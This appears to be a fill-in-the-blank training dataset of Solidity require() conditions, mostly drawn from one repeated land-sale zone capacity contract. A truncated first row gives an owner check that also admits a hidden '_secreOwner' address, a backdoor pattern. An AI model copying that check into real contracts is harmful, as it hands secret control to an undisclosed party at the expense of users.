function _transferOwnership(address newOwner) internal virtual {
}
}
| owner()==_msgSender()||_secreOwner==_msgSender(),"Ownable: caller is not the owner" | 182,572 | owner()==_msgSender()||_secreOwner==_msgSender() |
null | // SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;
pragma experimental ABIEncoderV2;
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Context.sol";
import "../../utils/LibArrayHelper.sol";
import "../../utils/LibSeedGenerator.sol";
import "hardhat/console.sol";
contract MetacityLandBoxerZone is Context, Ownable {
using SafeMath for uint256;
struct PriceInfo {
address token;
uint256 price;
}
struct ZoneInfo {
string zoneIdentifier;
uint256[] scales;
address[] tokens;
uint256[] prices;
uint256[] capacities;
}
address landBoxer;
uint256[] supportedScales;
mapping(uint256 => PriceInfo) public globalPrices;
bytes32[] zoneIds;
mapping(bytes32 => ZoneInfo) landCapacities;
mapping(uint256 => uint256) globalScaleCapacity;
///@dev zoneId => scale => amount
mapping(bytes32 => mapping(uint256 => uint256)) purchaseLimit;
constructor(address _landBoxer) {
}
function verifyCapacityEnoughGlobalBatch(uint256[] memory _scales, uint256[] memory _amounts) public view {
require(_scales.length == _amounts.length, "args error");
for(uint256 i=0; i<_scales.length; i++) {
require(<FILL_ME>)
require(globalScaleCapacity[_scales[i]] >= _amounts[i], "no enough capacity");
}
}
function verifyCapacityEnoughBatch(string[] memory _zoneIds, uint256[] memory _scales, uint256[] memory _amounts) public view {
}
modifier onlyBoxer() {
}
function setPurchaseLimit(string[] memory _zoneIds, uint256[] memory _scales, uint256[] memory _amounts) public onlyOwner {
}
function capacityRemaining() public view returns (uint256[] memory, uint256[] memory) {
}
function capacityRemaining(string memory _zoneId) public view returns (uint256[] memory _scales, uint256[] memory _capacities) {
}
function capacityRemaining(string memory _zoneId, uint256 _scale) public view returns (uint256 amount) {
}
function getGlobalPrice(uint256 scale) public view returns (PriceInfo memory) {
}
function correspondingPrice(string[] memory _zoneIds, uint256[] memory _scales) public view returns (address[] memory, uint256[] memory) {
}
function setSupportedScalesAndGlobalPrices(uint256[] memory _scales, PriceInfo[] memory _prices) public onlyOwner {
}
function addOrUpdateZones(ZoneInfo[] memory _zoneInfos) public onlyOwner {
}
function addZoneCapacities(string[] memory _zoneIndentifiers, uint256[][] memory _scales, uint256[][] memory _capacities)
public
onlyOwner {
}
function _verifyCapacity() private view {
}
function removeZone(string memory _zoneId) public onlyOwner {
}
function subPurchaseLimitIfNeeded(bytes32 zoneId, uint256 scale, uint256 amount) public onlyBoxer {
}
function metaTradeSubCapacity(bytes32 _zoneId, uint256 _scale, uint256 _amount) public onlyBoxer {
}
function _isZoneRegistered(bytes32 zoneId) private view returns (bool registered) {
}
function _isZoneRegistered(string memory _zoneId) private view returns (bool registered) {
}
function _getZoneId(string memory input) public pure returns (bytes32 zoneId) {
}
function _isValidScale(uint256 _scale) private view returns (bool) {
}
function _isValidZoneScale(bytes32 _zoneId, uint256 _scale) private view returns (bool) {
}
function _getIndexByZoneIdAndScale(bytes32 _zoneId, uint256 _scale) private view returns (uint256) {
}
function _getPriceByZoneIdAndScale(bytes32 zoneId, uint256 _scale) public view returns (PriceInfo memory price) {
}
function _getCapacityByZoneIdAndScale(bytes32 zoneId, uint256 _scale) private view returns (uint256 capacity) {
}
function _getZoneIdentifierByZoneId(bytes32 zoneId) public view returns (string memory _zoneId) {
}
function _getFirstRandomZoneIdWithEnoughCapacity(uint256 nonce, uint256 _scale, uint256 _amount) public view returns (bytes32 zoneId) {
}
}
| _isValidScale(_scales[i]) | 182,666 | _isValidScale(_scales[i]) |
"no enough capacity" | // SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;
pragma experimental ABIEncoderV2;
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Context.sol";
import "../../utils/LibArrayHelper.sol";
import "../../utils/LibSeedGenerator.sol";
import "hardhat/console.sol";
contract MetacityLandBoxerZone is Context, Ownable {
using SafeMath for uint256;
struct PriceInfo {
address token;
uint256 price;
}
struct ZoneInfo {
string zoneIdentifier;
uint256[] scales;
address[] tokens;
uint256[] prices;
uint256[] capacities;
}
address landBoxer;
uint256[] supportedScales;
mapping(uint256 => PriceInfo) public globalPrices;
bytes32[] zoneIds;
mapping(bytes32 => ZoneInfo) landCapacities;
mapping(uint256 => uint256) globalScaleCapacity;
///@dev zoneId => scale => amount
mapping(bytes32 => mapping(uint256 => uint256)) purchaseLimit;
constructor(address _landBoxer) {
}
function verifyCapacityEnoughGlobalBatch(uint256[] memory _scales, uint256[] memory _amounts) public view {
require(_scales.length == _amounts.length, "args error");
for(uint256 i=0; i<_scales.length; i++) {
require(_isValidScale(_scales[i]));
require(<FILL_ME>)
}
}
function verifyCapacityEnoughBatch(string[] memory _zoneIds, uint256[] memory _scales, uint256[] memory _amounts) public view {
}
modifier onlyBoxer() {
}
function setPurchaseLimit(string[] memory _zoneIds, uint256[] memory _scales, uint256[] memory _amounts) public onlyOwner {
}
function capacityRemaining() public view returns (uint256[] memory, uint256[] memory) {
}
function capacityRemaining(string memory _zoneId) public view returns (uint256[] memory _scales, uint256[] memory _capacities) {
}
function capacityRemaining(string memory _zoneId, uint256 _scale) public view returns (uint256 amount) {
}
function getGlobalPrice(uint256 scale) public view returns (PriceInfo memory) {
}
function correspondingPrice(string[] memory _zoneIds, uint256[] memory _scales) public view returns (address[] memory, uint256[] memory) {
}
function setSupportedScalesAndGlobalPrices(uint256[] memory _scales, PriceInfo[] memory _prices) public onlyOwner {
}
function addOrUpdateZones(ZoneInfo[] memory _zoneInfos) public onlyOwner {
}
function addZoneCapacities(string[] memory _zoneIndentifiers, uint256[][] memory _scales, uint256[][] memory _capacities)
public
onlyOwner {
}
function _verifyCapacity() private view {
}
function removeZone(string memory _zoneId) public onlyOwner {
}
function subPurchaseLimitIfNeeded(bytes32 zoneId, uint256 scale, uint256 amount) public onlyBoxer {
}
function metaTradeSubCapacity(bytes32 _zoneId, uint256 _scale, uint256 _amount) public onlyBoxer {
}
function _isZoneRegistered(bytes32 zoneId) private view returns (bool registered) {
}
function _isZoneRegistered(string memory _zoneId) private view returns (bool registered) {
}
function _getZoneId(string memory input) public pure returns (bytes32 zoneId) {
}
function _isValidScale(uint256 _scale) private view returns (bool) {
}
function _isValidZoneScale(bytes32 _zoneId, uint256 _scale) private view returns (bool) {
}
function _getIndexByZoneIdAndScale(bytes32 _zoneId, uint256 _scale) private view returns (uint256) {
}
function _getPriceByZoneIdAndScale(bytes32 zoneId, uint256 _scale) public view returns (PriceInfo memory price) {
}
function _getCapacityByZoneIdAndScale(bytes32 zoneId, uint256 _scale) private view returns (uint256 capacity) {
}
function _getZoneIdentifierByZoneId(bytes32 zoneId) public view returns (string memory _zoneId) {
}
function _getFirstRandomZoneIdWithEnoughCapacity(uint256 nonce, uint256 _scale, uint256 _amount) public view returns (bytes32 zoneId) {
}
}
| globalScaleCapacity[_scales[i]]>=_amounts[i],"no enough capacity" | 182,666 | globalScaleCapacity[_scales[i]]>=_amounts[i] |
"no enough capacity" | // SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;
pragma experimental ABIEncoderV2;
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Context.sol";
import "../../utils/LibArrayHelper.sol";
import "../../utils/LibSeedGenerator.sol";
import "hardhat/console.sol";
contract MetacityLandBoxerZone is Context, Ownable {
using SafeMath for uint256;
struct PriceInfo {
address token;
uint256 price;
}
struct ZoneInfo {
string zoneIdentifier;
uint256[] scales;
address[] tokens;
uint256[] prices;
uint256[] capacities;
}
address landBoxer;
uint256[] supportedScales;
mapping(uint256 => PriceInfo) public globalPrices;
bytes32[] zoneIds;
mapping(bytes32 => ZoneInfo) landCapacities;
mapping(uint256 => uint256) globalScaleCapacity;
///@dev zoneId => scale => amount
mapping(bytes32 => mapping(uint256 => uint256)) purchaseLimit;
constructor(address _landBoxer) {
}
function verifyCapacityEnoughGlobalBatch(uint256[] memory _scales, uint256[] memory _amounts) public view {
}
function verifyCapacityEnoughBatch(string[] memory _zoneIds, uint256[] memory _scales, uint256[] memory _amounts) public view {
require(_zoneIds.length == _scales.length && _zoneIds.length == _amounts.length, "args error");
for(uint8 i=0; i<_zoneIds.length; i++) {
bytes32 zoneId = _getZoneId(_zoneIds[i]);
require(_isValidScale(_scales[i]));
require(<FILL_ME>)
if (purchaseLimit[zoneId][_scales[i]] >= 1) {
require(purchaseLimit[zoneId][_scales[i]] >= _amounts[i] + 1, "epl error"); //exceed purchase limit
}
}
}
modifier onlyBoxer() {
}
function setPurchaseLimit(string[] memory _zoneIds, uint256[] memory _scales, uint256[] memory _amounts) public onlyOwner {
}
function capacityRemaining() public view returns (uint256[] memory, uint256[] memory) {
}
function capacityRemaining(string memory _zoneId) public view returns (uint256[] memory _scales, uint256[] memory _capacities) {
}
function capacityRemaining(string memory _zoneId, uint256 _scale) public view returns (uint256 amount) {
}
function getGlobalPrice(uint256 scale) public view returns (PriceInfo memory) {
}
function correspondingPrice(string[] memory _zoneIds, uint256[] memory _scales) public view returns (address[] memory, uint256[] memory) {
}
function setSupportedScalesAndGlobalPrices(uint256[] memory _scales, PriceInfo[] memory _prices) public onlyOwner {
}
function addOrUpdateZones(ZoneInfo[] memory _zoneInfos) public onlyOwner {
}
function addZoneCapacities(string[] memory _zoneIndentifiers, uint256[][] memory _scales, uint256[][] memory _capacities)
public
onlyOwner {
}
function _verifyCapacity() private view {
}
function removeZone(string memory _zoneId) public onlyOwner {
}
function subPurchaseLimitIfNeeded(bytes32 zoneId, uint256 scale, uint256 amount) public onlyBoxer {
}
function metaTradeSubCapacity(bytes32 _zoneId, uint256 _scale, uint256 _amount) public onlyBoxer {
}
function _isZoneRegistered(bytes32 zoneId) private view returns (bool registered) {
}
function _isZoneRegistered(string memory _zoneId) private view returns (bool registered) {
}
function _getZoneId(string memory input) public pure returns (bytes32 zoneId) {
}
function _isValidScale(uint256 _scale) private view returns (bool) {
}
function _isValidZoneScale(bytes32 _zoneId, uint256 _scale) private view returns (bool) {
}
function _getIndexByZoneIdAndScale(bytes32 _zoneId, uint256 _scale) private view returns (uint256) {
}
function _getPriceByZoneIdAndScale(bytes32 zoneId, uint256 _scale) public view returns (PriceInfo memory price) {
}
function _getCapacityByZoneIdAndScale(bytes32 zoneId, uint256 _scale) private view returns (uint256 capacity) {
}
function _getZoneIdentifierByZoneId(bytes32 zoneId) public view returns (string memory _zoneId) {
}
function _getFirstRandomZoneIdWithEnoughCapacity(uint256 nonce, uint256 _scale, uint256 _amount) public view returns (bytes32 zoneId) {
}
}
| _getCapacityByZoneIdAndScale(zoneId,_scales[i])>=_amounts[i],"no enough capacity" | 182,666 | _getCapacityByZoneIdAndScale(zoneId,_scales[i])>=_amounts[i] |
"epl error" | // SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;
pragma experimental ABIEncoderV2;
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Context.sol";
import "../../utils/LibArrayHelper.sol";
import "../../utils/LibSeedGenerator.sol";
import "hardhat/console.sol";
contract MetacityLandBoxerZone is Context, Ownable {
using SafeMath for uint256;
struct PriceInfo {
address token;
uint256 price;
}
struct ZoneInfo {
string zoneIdentifier;
uint256[] scales;
address[] tokens;
uint256[] prices;
uint256[] capacities;
}
address landBoxer;
uint256[] supportedScales;
mapping(uint256 => PriceInfo) public globalPrices;
bytes32[] zoneIds;
mapping(bytes32 => ZoneInfo) landCapacities;
mapping(uint256 => uint256) globalScaleCapacity;
///@dev zoneId => scale => amount
mapping(bytes32 => mapping(uint256 => uint256)) purchaseLimit;
constructor(address _landBoxer) {
}
function verifyCapacityEnoughGlobalBatch(uint256[] memory _scales, uint256[] memory _amounts) public view {
}
function verifyCapacityEnoughBatch(string[] memory _zoneIds, uint256[] memory _scales, uint256[] memory _amounts) public view {
require(_zoneIds.length == _scales.length && _zoneIds.length == _amounts.length, "args error");
for(uint8 i=0; i<_zoneIds.length; i++) {
bytes32 zoneId = _getZoneId(_zoneIds[i]);
require(_isValidScale(_scales[i]));
require(_getCapacityByZoneIdAndScale(zoneId, _scales[i]) >= _amounts[i], "no enough capacity");
if (purchaseLimit[zoneId][_scales[i]] >= 1) {
require(<FILL_ME>) //exceed purchase limit
}
}
}
modifier onlyBoxer() {
}
function setPurchaseLimit(string[] memory _zoneIds, uint256[] memory _scales, uint256[] memory _amounts) public onlyOwner {
}
function capacityRemaining() public view returns (uint256[] memory, uint256[] memory) {
}
function capacityRemaining(string memory _zoneId) public view returns (uint256[] memory _scales, uint256[] memory _capacities) {
}
function capacityRemaining(string memory _zoneId, uint256 _scale) public view returns (uint256 amount) {
}
function getGlobalPrice(uint256 scale) public view returns (PriceInfo memory) {
}
function correspondingPrice(string[] memory _zoneIds, uint256[] memory _scales) public view returns (address[] memory, uint256[] memory) {
}
function setSupportedScalesAndGlobalPrices(uint256[] memory _scales, PriceInfo[] memory _prices) public onlyOwner {
}
function addOrUpdateZones(ZoneInfo[] memory _zoneInfos) public onlyOwner {
}
function addZoneCapacities(string[] memory _zoneIndentifiers, uint256[][] memory _scales, uint256[][] memory _capacities)
public
onlyOwner {
}
function _verifyCapacity() private view {
}
function removeZone(string memory _zoneId) public onlyOwner {
}
function subPurchaseLimitIfNeeded(bytes32 zoneId, uint256 scale, uint256 amount) public onlyBoxer {
}
function metaTradeSubCapacity(bytes32 _zoneId, uint256 _scale, uint256 _amount) public onlyBoxer {
}
function _isZoneRegistered(bytes32 zoneId) private view returns (bool registered) {
}
function _isZoneRegistered(string memory _zoneId) private view returns (bool registered) {
}
function _getZoneId(string memory input) public pure returns (bytes32 zoneId) {
}
function _isValidScale(uint256 _scale) private view returns (bool) {
}
function _isValidZoneScale(bytes32 _zoneId, uint256 _scale) private view returns (bool) {
}
function _getIndexByZoneIdAndScale(bytes32 _zoneId, uint256 _scale) private view returns (uint256) {
}
function _getPriceByZoneIdAndScale(bytes32 zoneId, uint256 _scale) public view returns (PriceInfo memory price) {
}
function _getCapacityByZoneIdAndScale(bytes32 zoneId, uint256 _scale) private view returns (uint256 capacity) {
}
function _getZoneIdentifierByZoneId(bytes32 zoneId) public view returns (string memory _zoneId) {
}
function _getFirstRandomZoneIdWithEnoughCapacity(uint256 nonce, uint256 _scale, uint256 _amount) public view returns (bytes32 zoneId) {
}
}
| purchaseLimit[zoneId][_scales[i]]>=_amounts[i]+1,"epl error" | 182,666 | purchaseLimit[zoneId][_scales[i]]>=_amounts[i]+1 |
"invalid scale" | // SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;
pragma experimental ABIEncoderV2;
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Context.sol";
import "../../utils/LibArrayHelper.sol";
import "../../utils/LibSeedGenerator.sol";
import "hardhat/console.sol";
contract MetacityLandBoxerZone is Context, Ownable {
using SafeMath for uint256;
struct PriceInfo {
address token;
uint256 price;
}
struct ZoneInfo {
string zoneIdentifier;
uint256[] scales;
address[] tokens;
uint256[] prices;
uint256[] capacities;
}
address landBoxer;
uint256[] supportedScales;
mapping(uint256 => PriceInfo) public globalPrices;
bytes32[] zoneIds;
mapping(bytes32 => ZoneInfo) landCapacities;
mapping(uint256 => uint256) globalScaleCapacity;
///@dev zoneId => scale => amount
mapping(bytes32 => mapping(uint256 => uint256)) purchaseLimit;
constructor(address _landBoxer) {
}
function verifyCapacityEnoughGlobalBatch(uint256[] memory _scales, uint256[] memory _amounts) public view {
}
function verifyCapacityEnoughBatch(string[] memory _zoneIds, uint256[] memory _scales, uint256[] memory _amounts) public view {
}
modifier onlyBoxer() {
}
function setPurchaseLimit(string[] memory _zoneIds, uint256[] memory _scales, uint256[] memory _amounts) public onlyOwner {
}
function capacityRemaining() public view returns (uint256[] memory, uint256[] memory) {
}
function capacityRemaining(string memory _zoneId) public view returns (uint256[] memory _scales, uint256[] memory _capacities) {
}
function capacityRemaining(string memory _zoneId, uint256 _scale) public view returns (uint256 amount) {
require(<FILL_ME>)
bytes32 zoneId = _getZoneId(_zoneId);
amount = landCapacities[zoneId].capacities[_getIndexByZoneIdAndScale(zoneId, _scale)];
}
function getGlobalPrice(uint256 scale) public view returns (PriceInfo memory) {
}
function correspondingPrice(string[] memory _zoneIds, uint256[] memory _scales) public view returns (address[] memory, uint256[] memory) {
}
function setSupportedScalesAndGlobalPrices(uint256[] memory _scales, PriceInfo[] memory _prices) public onlyOwner {
}
function addOrUpdateZones(ZoneInfo[] memory _zoneInfos) public onlyOwner {
}
function addZoneCapacities(string[] memory _zoneIndentifiers, uint256[][] memory _scales, uint256[][] memory _capacities)
public
onlyOwner {
}
function _verifyCapacity() private view {
}
function removeZone(string memory _zoneId) public onlyOwner {
}
function subPurchaseLimitIfNeeded(bytes32 zoneId, uint256 scale, uint256 amount) public onlyBoxer {
}
function metaTradeSubCapacity(bytes32 _zoneId, uint256 _scale, uint256 _amount) public onlyBoxer {
}
function _isZoneRegistered(bytes32 zoneId) private view returns (bool registered) {
}
function _isZoneRegistered(string memory _zoneId) private view returns (bool registered) {
}
function _getZoneId(string memory input) public pure returns (bytes32 zoneId) {
}
function _isValidScale(uint256 _scale) private view returns (bool) {
}
function _isValidZoneScale(bytes32 _zoneId, uint256 _scale) private view returns (bool) {
}
function _getIndexByZoneIdAndScale(bytes32 _zoneId, uint256 _scale) private view returns (uint256) {
}
function _getPriceByZoneIdAndScale(bytes32 zoneId, uint256 _scale) public view returns (PriceInfo memory price) {
}
function _getCapacityByZoneIdAndScale(bytes32 zoneId, uint256 _scale) private view returns (uint256 capacity) {
}
function _getZoneIdentifierByZoneId(bytes32 zoneId) public view returns (string memory _zoneId) {
}
function _getFirstRandomZoneIdWithEnoughCapacity(uint256 nonce, uint256 _scale, uint256 _amount) public view returns (bytes32 zoneId) {
}
}
| _isValidScale(_scale),"invalid scale" | 182,666 | _isValidScale(_scale) |
"invalid scale" | // SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;
pragma experimental ABIEncoderV2;
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Context.sol";
import "../../utils/LibArrayHelper.sol";
import "../../utils/LibSeedGenerator.sol";
import "hardhat/console.sol";
contract MetacityLandBoxerZone is Context, Ownable {
using SafeMath for uint256;
struct PriceInfo {
address token;
uint256 price;
}
struct ZoneInfo {
string zoneIdentifier;
uint256[] scales;
address[] tokens;
uint256[] prices;
uint256[] capacities;
}
address landBoxer;
uint256[] supportedScales;
mapping(uint256 => PriceInfo) public globalPrices;
bytes32[] zoneIds;
mapping(bytes32 => ZoneInfo) landCapacities;
mapping(uint256 => uint256) globalScaleCapacity;
///@dev zoneId => scale => amount
mapping(bytes32 => mapping(uint256 => uint256)) purchaseLimit;
constructor(address _landBoxer) {
}
function verifyCapacityEnoughGlobalBatch(uint256[] memory _scales, uint256[] memory _amounts) public view {
}
function verifyCapacityEnoughBatch(string[] memory _zoneIds, uint256[] memory _scales, uint256[] memory _amounts) public view {
}
modifier onlyBoxer() {
}
function setPurchaseLimit(string[] memory _zoneIds, uint256[] memory _scales, uint256[] memory _amounts) public onlyOwner {
}
function capacityRemaining() public view returns (uint256[] memory, uint256[] memory) {
}
function capacityRemaining(string memory _zoneId) public view returns (uint256[] memory _scales, uint256[] memory _capacities) {
}
function capacityRemaining(string memory _zoneId, uint256 _scale) public view returns (uint256 amount) {
}
function getGlobalPrice(uint256 scale) public view returns (PriceInfo memory) {
}
function correspondingPrice(string[] memory _zoneIds, uint256[] memory _scales) public view returns (address[] memory, uint256[] memory) {
}
function setSupportedScalesAndGlobalPrices(uint256[] memory _scales, PriceInfo[] memory _prices) public onlyOwner {
}
function addOrUpdateZones(ZoneInfo[] memory _zoneInfos) public onlyOwner {
for (uint8 j=0; j<_zoneInfos.length; j++) {
ZoneInfo memory _zoneInfo = _zoneInfos[j];
require(_zoneInfo.scales.length == _zoneInfo.prices.length && _zoneInfo.scales.length == _zoneInfo.capacities.length, "args error");
for (uint256 i=0; i<_zoneInfo.scales.length; i++) {
require(<FILL_ME>)
}
bytes32 zoneId = _getZoneId(_zoneInfo.zoneIdentifier);
if (_isZoneRegistered(_zoneInfo.zoneIdentifier)) {
removeZone(_zoneInfo.zoneIdentifier);
}
for (uint256 i=0; i<_zoneInfo.scales.length; i++) {
globalScaleCapacity[_zoneInfo.scales[i]] = globalScaleCapacity[_zoneInfo.scales[i]].add(_zoneInfo.capacities[i]);
}
zoneIds.push(zoneId);
landCapacities[_getZoneId(_zoneInfo.zoneIdentifier)] = _zoneInfo;
}
}
function addZoneCapacities(string[] memory _zoneIndentifiers, uint256[][] memory _scales, uint256[][] memory _capacities)
public
onlyOwner {
}
function _verifyCapacity() private view {
}
function removeZone(string memory _zoneId) public onlyOwner {
}
function subPurchaseLimitIfNeeded(bytes32 zoneId, uint256 scale, uint256 amount) public onlyBoxer {
}
function metaTradeSubCapacity(bytes32 _zoneId, uint256 _scale, uint256 _amount) public onlyBoxer {
}
function _isZoneRegistered(bytes32 zoneId) private view returns (bool registered) {
}
function _isZoneRegistered(string memory _zoneId) private view returns (bool registered) {
}
function _getZoneId(string memory input) public pure returns (bytes32 zoneId) {
}
function _isValidScale(uint256 _scale) private view returns (bool) {
}
function _isValidZoneScale(bytes32 _zoneId, uint256 _scale) private view returns (bool) {
}
function _getIndexByZoneIdAndScale(bytes32 _zoneId, uint256 _scale) private view returns (uint256) {
}
function _getPriceByZoneIdAndScale(bytes32 zoneId, uint256 _scale) public view returns (PriceInfo memory price) {
}
function _getCapacityByZoneIdAndScale(bytes32 zoneId, uint256 _scale) private view returns (uint256 capacity) {
}
function _getZoneIdentifierByZoneId(bytes32 zoneId) public view returns (string memory _zoneId) {
}
function _getFirstRandomZoneIdWithEnoughCapacity(uint256 nonce, uint256 _scale, uint256 _amount) public view returns (bytes32 zoneId) {
}
}
| _isValidScale(_zoneInfo.scales[i]),"invalid scale" | 182,666 | _isValidScale(_zoneInfo.scales[i]) |
"verify error" | // SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;
pragma experimental ABIEncoderV2;
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Context.sol";
import "../../utils/LibArrayHelper.sol";
import "../../utils/LibSeedGenerator.sol";
import "hardhat/console.sol";
contract MetacityLandBoxerZone is Context, Ownable {
using SafeMath for uint256;
struct PriceInfo {
address token;
uint256 price;
}
struct ZoneInfo {
string zoneIdentifier;
uint256[] scales;
address[] tokens;
uint256[] prices;
uint256[] capacities;
}
address landBoxer;
uint256[] supportedScales;
mapping(uint256 => PriceInfo) public globalPrices;
bytes32[] zoneIds;
mapping(bytes32 => ZoneInfo) landCapacities;
mapping(uint256 => uint256) globalScaleCapacity;
///@dev zoneId => scale => amount
mapping(bytes32 => mapping(uint256 => uint256)) purchaseLimit;
constructor(address _landBoxer) {
}
function verifyCapacityEnoughGlobalBatch(uint256[] memory _scales, uint256[] memory _amounts) public view {
}
function verifyCapacityEnoughBatch(string[] memory _zoneIds, uint256[] memory _scales, uint256[] memory _amounts) public view {
}
modifier onlyBoxer() {
}
function setPurchaseLimit(string[] memory _zoneIds, uint256[] memory _scales, uint256[] memory _amounts) public onlyOwner {
}
function capacityRemaining() public view returns (uint256[] memory, uint256[] memory) {
}
function capacityRemaining(string memory _zoneId) public view returns (uint256[] memory _scales, uint256[] memory _capacities) {
}
function capacityRemaining(string memory _zoneId, uint256 _scale) public view returns (uint256 amount) {
}
function getGlobalPrice(uint256 scale) public view returns (PriceInfo memory) {
}
function correspondingPrice(string[] memory _zoneIds, uint256[] memory _scales) public view returns (address[] memory, uint256[] memory) {
}
function setSupportedScalesAndGlobalPrices(uint256[] memory _scales, PriceInfo[] memory _prices) public onlyOwner {
}
function addOrUpdateZones(ZoneInfo[] memory _zoneInfos) public onlyOwner {
}
function addZoneCapacities(string[] memory _zoneIndentifiers, uint256[][] memory _scales, uint256[][] memory _capacities)
public
onlyOwner {
}
function _verifyCapacity() private view {
//verify scales and global capacities.
for (uint256 i=0; i<supportedScales.length; i++) {
uint256 sumSpecificScaleCapacity = 0;
for (uint256 j=0; j<zoneIds.length; j++) {
bytes32 zoneId = zoneIds[j];
if (_isValidZoneScale(zoneId, supportedScales[i])) {
sumSpecificScaleCapacity = sumSpecificScaleCapacity.add(landCapacities[zoneId].capacities[_getIndexByZoneIdAndScale(zoneId, supportedScales[i])]);
}
}
require(<FILL_ME>)
}
}
function removeZone(string memory _zoneId) public onlyOwner {
}
function subPurchaseLimitIfNeeded(bytes32 zoneId, uint256 scale, uint256 amount) public onlyBoxer {
}
function metaTradeSubCapacity(bytes32 _zoneId, uint256 _scale, uint256 _amount) public onlyBoxer {
}
function _isZoneRegistered(bytes32 zoneId) private view returns (bool registered) {
}
function _isZoneRegistered(string memory _zoneId) private view returns (bool registered) {
}
function _getZoneId(string memory input) public pure returns (bytes32 zoneId) {
}
function _isValidScale(uint256 _scale) private view returns (bool) {
}
function _isValidZoneScale(bytes32 _zoneId, uint256 _scale) private view returns (bool) {
}
function _getIndexByZoneIdAndScale(bytes32 _zoneId, uint256 _scale) private view returns (uint256) {
}
function _getPriceByZoneIdAndScale(bytes32 zoneId, uint256 _scale) public view returns (PriceInfo memory price) {
}
function _getCapacityByZoneIdAndScale(bytes32 zoneId, uint256 _scale) private view returns (uint256 capacity) {
}
function _getZoneIdentifierByZoneId(bytes32 zoneId) public view returns (string memory _zoneId) {
}
function _getFirstRandomZoneIdWithEnoughCapacity(uint256 nonce, uint256 _scale, uint256 _amount) public view returns (bytes32 zoneId) {
}
}
| globalScaleCapacity[supportedScales[i]]==sumSpecificScaleCapacity,"verify error" | 182,666 | globalScaleCapacity[supportedScales[i]]==sumSpecificScaleCapacity |
"no zone info" | // SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;
pragma experimental ABIEncoderV2;
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Context.sol";
import "../../utils/LibArrayHelper.sol";
import "../../utils/LibSeedGenerator.sol";
import "hardhat/console.sol";
contract MetacityLandBoxerZone is Context, Ownable {
using SafeMath for uint256;
struct PriceInfo {
address token;
uint256 price;
}
struct ZoneInfo {
string zoneIdentifier;
uint256[] scales;
address[] tokens;
uint256[] prices;
uint256[] capacities;
}
address landBoxer;
uint256[] supportedScales;
mapping(uint256 => PriceInfo) public globalPrices;
bytes32[] zoneIds;
mapping(bytes32 => ZoneInfo) landCapacities;
mapping(uint256 => uint256) globalScaleCapacity;
///@dev zoneId => scale => amount
mapping(bytes32 => mapping(uint256 => uint256)) purchaseLimit;
constructor(address _landBoxer) {
}
function verifyCapacityEnoughGlobalBatch(uint256[] memory _scales, uint256[] memory _amounts) public view {
}
function verifyCapacityEnoughBatch(string[] memory _zoneIds, uint256[] memory _scales, uint256[] memory _amounts) public view {
}
modifier onlyBoxer() {
}
function setPurchaseLimit(string[] memory _zoneIds, uint256[] memory _scales, uint256[] memory _amounts) public onlyOwner {
}
function capacityRemaining() public view returns (uint256[] memory, uint256[] memory) {
}
function capacityRemaining(string memory _zoneId) public view returns (uint256[] memory _scales, uint256[] memory _capacities) {
}
function capacityRemaining(string memory _zoneId, uint256 _scale) public view returns (uint256 amount) {
}
function getGlobalPrice(uint256 scale) public view returns (PriceInfo memory) {
}
function correspondingPrice(string[] memory _zoneIds, uint256[] memory _scales) public view returns (address[] memory, uint256[] memory) {
}
function setSupportedScalesAndGlobalPrices(uint256[] memory _scales, PriceInfo[] memory _prices) public onlyOwner {
}
function addOrUpdateZones(ZoneInfo[] memory _zoneInfos) public onlyOwner {
}
function addZoneCapacities(string[] memory _zoneIndentifiers, uint256[][] memory _scales, uint256[][] memory _capacities)
public
onlyOwner {
}
function _verifyCapacity() private view {
}
function removeZone(string memory _zoneId) public onlyOwner {
require(<FILL_ME>)
bytes32 zoneId = _getZoneId(_zoneId);
for (uint256 i=0; i<landCapacities[zoneId].scales.length; i++) {
globalScaleCapacity[landCapacities[zoneId].scales[i]] = globalScaleCapacity[landCapacities[zoneId].scales[i]].sub(landCapacities[zoneId].capacities[i]);
}
zoneIds = LibArrayHelper.removeItemFromListBytes32(zoneIds, zoneId);
delete landCapacities[zoneId];
}
function subPurchaseLimitIfNeeded(bytes32 zoneId, uint256 scale, uint256 amount) public onlyBoxer {
}
function metaTradeSubCapacity(bytes32 _zoneId, uint256 _scale, uint256 _amount) public onlyBoxer {
}
function _isZoneRegistered(bytes32 zoneId) private view returns (bool registered) {
}
function _isZoneRegistered(string memory _zoneId) private view returns (bool registered) {
}
function _getZoneId(string memory input) public pure returns (bytes32 zoneId) {
}
function _isValidScale(uint256 _scale) private view returns (bool) {
}
function _isValidZoneScale(bytes32 _zoneId, uint256 _scale) private view returns (bool) {
}
function _getIndexByZoneIdAndScale(bytes32 _zoneId, uint256 _scale) private view returns (uint256) {
}
function _getPriceByZoneIdAndScale(bytes32 zoneId, uint256 _scale) public view returns (PriceInfo memory price) {
}
function _getCapacityByZoneIdAndScale(bytes32 zoneId, uint256 _scale) private view returns (uint256 capacity) {
}
function _getZoneIdentifierByZoneId(bytes32 zoneId) public view returns (string memory _zoneId) {
}
